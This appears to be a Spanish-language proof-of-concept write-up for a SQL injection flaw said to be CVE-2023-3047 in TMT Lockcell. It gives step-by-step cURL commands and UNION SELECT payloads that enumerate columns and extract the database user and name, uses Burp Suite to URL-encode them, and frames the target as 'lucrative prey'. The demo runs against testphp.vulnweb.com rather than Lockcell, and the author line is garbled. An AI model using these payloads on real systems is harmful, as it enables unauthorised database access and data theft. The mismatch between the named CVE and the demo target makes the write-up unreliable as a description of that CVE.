
Exploit de prueba de concepto para la vulnerabilidad de inyección SQL CVE-2023-3047 en TMT Lockcell. Demuestra la explotación manual usando cURL y Burp Suite para enumerar usuarios y esquemas de la base de datos.
@ghostman_s3c o @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5Vulnerabilidad de neutralización inadecuada de elementos especiales usados en un comando SQL ('Inyección SQL') en TMT Lockcell permite la inyección SQL. Este problema afecta a Lockcell: versiones anteriores a la 15.
Primero verificaremos si tiene el error CVE-2023-3047, ahora abre una terminal y asegúrate de que cada terminal soporte la herramienta cURL.
curl <your_url_vulnerable> | grep "at line"
después de presionar Enter, y si se muestra como 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 entonces tu sitio web está sufriendo del error CVE-2023-3047
bien, a continuación intentaremos ver si este sitio web bloquea estos ataques de inyección, prueba usando el siguiente comando y pruébalo
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
y presiona Enter, si se muestra como la imagen de abajo, entonces tienes una presa lucrativa
Y ahora debes continuar con el payload union select desde 1 hasta un cierto número que se considere válido para el número de columna del sitio web mysql.
bien, mi objetivo tiene un número de columna válido de 1 a 11, en la imagen de abajo, 2 resultados completamente diferentes, arriba todavía tiene 'The used SELECT', y abajo no.
Y ahora, iré a Google y verificaré, veré si es válido con los resultados anteriores o no, y convenientemente, obtendré otro número del cual pueda obtener información.
Bien, parece que es un resultado completamente válido, y hay 3 números que podemos inyectar para obtener información.
y ahora, practicaremos la inyección de comandos sql para obtener información del mismo
y usaremos el payload : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
oh, parece que este comando no es muy bueno, porque no hemos codificado el payload en una URL
y ahora mi tarea es codificar ese payload en una ruta URL para continuar el ciberataque
Usaremos Burp Suite para codificarlos
Ahora selecciona Decoder, luego selecciona Encode as en el lado izquierdo de la pantalla, luego selecciona URL e ingresa tu payload. En cuanto a mi error anterior, tiene caracteres especiales como : ( , ) en ellos. no cumple con los requisitos suficientes, así que solo codificaré el comando insert para obtener información de la base de datos
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
y después de ingresar, y ese es el final del juego, el nombre de usuario y la base de datos han sido expuestos, no solo eso, los hackers pueden inyectar otros payloads para obtener más información de ellos, por ejemplo, volcando los datos de la base para robar información o tomar el control del administrador del sitio web
Entonces, el juego terminó, el nombre de usuario es acuart@localhost y el nombre de la base de datos es acuart